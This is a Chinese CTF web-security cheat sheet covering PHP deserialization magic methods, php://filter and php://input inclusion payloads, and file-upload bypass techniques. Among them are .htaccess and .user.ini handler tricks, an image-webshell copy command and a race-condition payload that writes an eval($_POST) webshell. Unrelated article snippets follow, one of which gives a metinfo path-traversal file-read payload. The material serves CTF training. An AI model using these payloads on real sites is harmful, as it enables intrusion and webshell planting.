CTF - Web 干货

目录

1、php反序列化之pop链构造

2、常见php伪协议的使用

(1)php://filter

(2)php://input

3、文件上传常规操作

(1) 前端绕过

(2) 修改文件类型

(3) 配合.user.ini 或.htaccess解析

(4) 爆破可解析后缀

(5) 针对Windows系统特性的绕过

(6) 文件包含结合图片马

(7) 条件竞争


1、php反序列化之pop链构造

常见魔术方法的触发

__construct()   //创建类对象时调用 ​ __destruct()   //对象被销毁时触发 ​ __call()   //在对象中调用不可访问的方法时触发 ​ __callStatic()   //在静态方式中调用不可访问的方法时触发 ​ __get()   //调用类中不存在变量时触发(找有连续箭头的 this->a->b) ​ __set()   //给一个未定义的属性赋值时触发 ​ __isset()   //在不可访问的属性上调用isset()或empty()触发 ​ __unset()   //在不可访问的属性上使用unset()时触发 ​ __sleep()   //使用serialize()时触发 ​ __wakeup()   //执行unserialize()时触发 ​ __toString()   //当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等) ​ 
__invoke()   //对象被当做函数进行调用时触发(找有括号的类似$a()这种) ​ __set_state()     //使用var_export()时触发 ​ __clone()   //对象复制完成时调用 ​ __autoload()   //实例化一个未定义的类时触发 ​ __debugInfo()   //使用var_dump时触发

典型例题:[NISACTF 2022]babyserialize

NSSCTF 靶场地址:NSSCTF | 在线CTF平台

详细解题过程参考我之前的博客:https://myon6.blog.csdn.net/article/details/131565599?spm=1001.2014.3001.5502

2、常见php伪协议的使用

文件包含:

常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

文件包含函数:

1、include ​ 
2、require ​ 
3、include_once ​ 
4、require_once ​ 
5、highlight_file ​ 
6、show_source ​ 
7、flie ​ 
8、readfile ​ 
9、file_get_contents ​ 
10、file_put_contents ​ 
11、fopen

存在文件包含时就应该想到 php 伪协议的利用

常用的 php 伪协议:

(1)php://filter

用于读取源码

可以获取指定文件源码,当它与包含函数结合时,php://filter 流会被当作 php 文件执行,所以我们一般对其进行编码,让其不执行,从而导致任意文件读取。

convert.iconv.* 的用法:

convert.iconv.<input-encoding>.<output-encoding> 或者 convert.iconv.<input-encoding>/<output-encoding>

<input-encoding> 和 <output-encoding> 就是编码方式,有:

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*

常用 payload :

最常见的编码方式:
?file=php://filter/read=convert.base64-encode/resource=flag.php替换编码方式绕过的例子:
?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php
?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php 

(2)php://input

用于执行 PHP 代码

可以访问请求的原始数据的只读流,将post请求的数据当作 php 代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时 post 写入想要执行的 php 代码,php 执行时会将 post 内容当作文件内容,从而导致任意代码执行。

例如:
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:<?php phpinfo()?>

典型例题:攻防世界的 fileclude 和 file_include

攻防世界靶场地址:https://adworld.xctf.org.cn/

详细解题过程可以参考我之前的博客:

https://myon6.blog.csdn.net/article/details/130188333

https://myon6.blog.csdn.net/article/details/130176864

3、文件上传常规操作

(1) 前端绕过

使用 BurpSuite 抓包改后缀即可

(2) 修改文件类型

将 Content-Type 改为 image/jpeg

(3) 配合.user.ini 或.htaccess解析

这两个配置文件都可以使我们上传的图像类文件被当作php文件解析

关于这两个文件的基本内容:

.htaccess

<FilesMatch ".jpg">SetHandler application/x-httpd-php
</FilesMatch>

.user.ini

auto_prepend_file=my.jpg

等号后面的 my.jpg 就是你要上传的 jpg 类型的一句话木马的文件名

(4) 爆破可解析后缀

使用burpsuite爆破可能被解析的后缀

比如:

php2、php3、php4、php5、phps、pht、phtm、phtml、phpt、shtml 、pwml等等

(也可以结合大小写绕过)

(5) 针对Windows系统特性的绕过

空格绕过、点绕过、::$DATA绕过

原理:Windows系统对于文件的重命名会自动把空格、点、::$DATA 去掉

因此我们可以在文件后缀添加空格、点、::$DATA 进行绕过(是在 burpsuite 抓包后修改)

(6) 文件包含结合图片马

文件包含漏洞:是指未对文件进行严格过滤,在代码中引入其他文件作为php文件执行。

图片马生成可以使用copy命令

copy 1.jpg/b + shell.php 2.jpg

生成的2.jpg就是一个图片马

(7) 条件竞争

条件竞争原理:当我们成功上传了php文件,服务端会在短时间内将其删除,我们需要抢在它删除之前访问文件并生成一句话木马文件,所以访问包的线程需要大于上传包的线程。

上传的大致内容为:

<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>

需要结合 burpsuite 设置上传包和访问包的线程数

详细解释参考我之前的博客:https://myon6.blog.csdn.net/article/details/133562672

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/631765.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Baichuan2百川模型部署的bug汇总

1.4bit的量化版本最好不要在Windows系统中运行&#xff0c;大概原因报错原因是bitsandbytes不支持window&#xff0c;bitsandbytes-windows目前仅支持8bit量化。 2. 报错原因是机器没有足够的内存和显存&#xff0c;offload_folder设置一个文件夹来保存那些离线加载到硬盘的权…

【DC-DC】APS54085降压恒流 高辉度调光降压恒流芯片

产品描述 APS54085 是一款 PWM 工作模式,高效率、 外围简单、内置功率 MOS 管&#xff0c;适用于 5-100V 输入的高精度降压 LED 恒流驱动芯片。最大电流 2.0A。 APS54085 可实现线性调光和 PWM 调光&#xff0c; 线性调光有效电压范围 0.52-2.55V. PWM 调光频率范围 100…

Git的rebase命令说明

Git的rebase命令是一个非常强大的工具&#xff0c;用于修改提交历史。它的主要目的是将一系列的提交从一个分支转移到另一个分支&#xff0c;通常用于保持一个清洁和线性的提交历史。以下是关于rebase的更详细的解释&#xff1a; 基本概念 变基的目的&#xff1a;rebase的主要…

React Native实现QQ等级皇冠太阳星星的展示-代码示例

代码 function LevelGetImages(level: number) {let res []const marks [{ mod: 20, image: Images.setting.level_king },{ mod: 15, image: Images.setting.level_queen },{ mod: 10, image: Images.setting.level_moon },{ mod: 5, image: Images.setting.level_star },…

C语言整型常量的存储形式是怎样的?

一、问题 整型常量的存储形式是怎样的&#xff1f;-8 在内存中的存储形式是怎样的&#xff1f; 二、解答 1、整型常量在计算机中的存储形式主要取决于其类型和编译器实现。 &#xff08;1&#xff09; 整型常量 • 整型常量&#xff08;如int类型&#xff09;在计算机内存中…

如何白嫖GPU---kaggle训练自己的模型

首先需要在kaggle用手机号注册&#xff0c;就可以获得每周30小时的免费GPU啦 接下来讲讲&#xff0c;如何将自己本地的文件放入到kaggle上进行训练 在Kaggle项目中创建一个新的Notebook或脚本文件&#xff08;例如&#xff0c;.ipynb 或 .py&#xff09;&#xff0c;作为你的主…

metinfo_6.0.0 任意文件读取漏洞复现

漏洞点为/include/thumb.php 一测&#xff1a;/include/thumb.php?dir..././http/..././config/config_db.php 二测&#xff1a;/include/thumb.php?dir.....///http/.....///config/config_db.php 三测&#xff1a;/include/thumb.php?dirhttp/.....///.....///config/conf…

面试的那些事儿

先从面试来说 假如你是网申&#xff0c;你的简历必然会经过HR的筛选&#xff0c;一张简历HR可能也就花费10秒钟看一下&#xff0c;然后HR 就会决定你这一关是Fail还是Pass。 假如你是内推&#xff0c;如果你的简历没有什么优势的话&#xff0c;就算是内推你的人再用心&#x…

geopandas 笔记:plot 的scheme

transbigdata 笔记&#xff1a;官方文档案例1&#xff08;出租车GPS数据处理&#xff09;-CSDN博客 3.3.1 节的内容的拓展&#xff0c;这里主要是比较各个scheme的效果 主代码为&#xff1a;修改的就是第二行scheme的内容 plt.figure(1,(16, 6), dpi300) schemebox_plot #图…

Kotlin特性学习笔记

1,关键字by修饰类,表示类委托 interface Animation{fun eat() }//动态代理 class Dog:Animation{override fun eat() {println("dog eat oligarch")} }class DogProxy:Animation by Dog(){} 2,关键字by修饰变量,实现属性委托 var name:String by NameDelegate()…

安装脚手架Vue CLI详解!!!

Vue CLI基本介绍&#xff1a; Vue CLI是Vue官方提供的一个全局命令工具。可以帮助我们快速创建一个开发Vue项目的标准化基础架子【集成了webpack配置】 安装脚手架好处&#xff1a; 开箱即用&#xff0c;零配置&#xff1b;内置babel等工具&#xff1b;标准化 安装步骤&#…

回馈科教,非凸科技助力第48届ICPC亚洲区决赛

1月12日-14日&#xff0c;“华为杯”第48届国际大学生程序设计竞赛&#xff08;ICPC&#xff09;亚洲区决赛在上海大学成功举办。非凸科技作为此次赛事的支持方之一&#xff0c;希望携手各方共同推动计算机科学和技术的发展。 这是一场智慧的巅峰对决&#xff0c;320支优秀队伍…

HTTP超详细介绍

HTTP讲解 1.HTTP的介绍2.HTTP协议的特点3.HTTP工作原理4.HTTP三点注意事项5.HTTP消息结构6.客户端请求消息7.服务端响应消息8.HTTP请求方法9.HTTP 响应头信息10.HTTP 状态码&#xff08;HTTP Status Code&#xff09;10.1.下面是常见的HTTP状态码10.2.HTTP状态码分类10.3.HTTP状…

openssl3.2 - 官方demo学习 - smime - smsign.c

文章目录 openssl3.2 - 官方demo学习 - smime - smsign.c概述笔记END openssl3.2 - 官方demo学习 - smime - smsign.c 概述 从证书中得到X509*和私钥指针 用证书和私钥对铭文进行签名, 得到签名后的pkcs7指针 将pkcs7指向的bio_in, 写为MIME格式的签名密文 BIO_reset() 可以…

【Linux系列】在Pop!OS的启动器中添加自定义程序图标

文章目录 前言一、创建快捷方式二、快捷方式参数三、添加右键菜单和注册MIME 前言 无论是在Windows上&#xff0c;还是Linux&#xff0c;或者安卓这些我们常用的操作系统上&#xff0c;一些应用程序的快捷方式放在桌面或者启动器&#xff0c;只需要简单的点击就可以启动&#…

ABAP IDOC 2 XML

有个需求&#xff0c;外围系统希望我们给到一个IDOC 记录的样例&#xff0c;但是我们we02中并无法看到 就找了一个demo去直接展示IDOC内容 *&---------------------------------------------------------------------* *& Report Z_IDOC_TO_XML *&------------…

【性能调优】local模式下flink处理离线任务能力分析

文章目录 一. flink的内存管理1.Jobmanager的内存模型2.TaskManager的内存模型2.1. 模型说明2.2. 通讯、数据传输方面2.3. 框架、任务堆外内存2.4. 托管内存 3.任务分析 二. 单个节点的带宽瓶颈1. 带宽相关理论2. 使用speedtest-cli 测试带宽3. 任务分析3. 其他工具使用介绍 本…

定制数据采集分析系统——为实现工业物联打下坚实基础

在这个工业4.0或者“工业互联网”的大背景下&#xff0c;工业物联网成为数字化转型中心舞台的一部分。数据是相关产品中的关键资产和生产资料&#xff0c;且在全球连接的产品(在整个生命周期中)的应用分析中是必不可少的功能。 工业物联网是将具有感知、监控能力的各类采集、控…

MAC相关

MAC地址&#xff0c;英文全称Medium Access Control&#xff0c;直译为介质访问控制&#xff0c;它通常被固化在每个以太网网卡&#xff08;NIC,Network Interface Card&#xff09;。MAC&#xff08;硬件&#xff09;地址长48位&#xff08;6字节&#xff09;&#xff0c;采用…

#LLMOps##AIGC# Dify_构建本地知识库问答应用-生成Al应用的创新引擎 用于构建助手API和GPT的开源开发平台

github&#xff1a; https://github.com/langgenius/dify/blob/main/README_CN.md 介绍文档&#xff1a;https://docs.dify.ai/getting-started/readme Dify 介绍 Dify 笔记 Dify 是什么&#xff1f; 开源的大语言模型&#xff08;LLM&#xff09;应用开发平台融合了后端即服…